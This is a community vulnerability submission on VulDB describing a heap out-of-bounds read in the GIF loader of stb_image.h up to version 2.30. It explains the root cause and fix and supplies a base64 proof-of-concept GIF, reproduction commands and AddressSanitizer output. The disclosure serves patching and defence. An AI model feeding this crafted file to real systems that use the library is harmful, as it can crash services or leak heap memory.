COMMUNITY CONTENT

Home › Submit › 780390

Submit #780390: nothings stb stb_image.h <= 2.30 Heap-based Buffer Overflow

Title nothings stb stb_image.h <= 2.30 Heap-based Buffer Overflow

Description A heap buffer overflow (out-of-bounds read) was found in stb_image.h v2.30 in the function stbi__gif_load_next(). A crafted multi-frame GIF file triggers an OOB memory read via an incorrectly calculated two_back pointer in stbi__load_gif_main() at line 7023.

The vulnerable code calculates: two_back = out - 2 * stride
This points before the start of the heap-allocated buffer.
The correct calculation should be: two_back = out + (layers - 2) * stride

When processing a GIF frame with dispose method 3 ("restore to previous"), the invalid two_back pointer is used in a memcpy at line 6818, resulting in a heap-buffer-overflow read.

Affected function: stbi__gif_load_next() at stb_image.h:6818
Root cause: stbi__load_gif_main() at stb_image.h:7023
Affected API: stbi_load_gif_from_memory()

Impact: Information disclosure (heap memory leak), Denial of Service (crash)

4. PoC (Exploit Code / Proof of Concept)

PoC file (52 bytes, base64):

R0lGODlhMDAwAIAwMDAwMDAwMCwwADAAMAAAADAAACH5BO8wMDAALDAAAA
AwADAAMAAw+Q==

Reproduction:
$ echo
'R0lGODlhMDAwAIAwMDAwMDAwMCwwADAAMAAAADAAACH5BO8wMDAALDAAAA
AwADAAMAAw+Q==' | base64 -d > poc.gif
$ clang -fsanitize=address -g -O0 repro.c -o repro -lm
$ ./repro poc.gif

ASAN Output:
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000003e8
READ of size 4 at 0x6020000003e8
#0 __asan_memcpy
#1 stbi__gif_load_next stb_image.h:6818
#2 stbi__load_gif_main stb_image.h:6984
#3 stbi_load_gif_from_memory stb_image.h:1450

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

User	d0razi (UID 96474)
Submission	03/15/2026 09:44 AM (16 days ago)
Moderation	03/30/2026 09:18 PM (15 days later)
Status	Accepted
VulDB entry	354259 [Nothings stb_image up to 2.30 Multi-frame GIF File stb_image.h stbi__gif_load_next heap-based overflow]
Points	17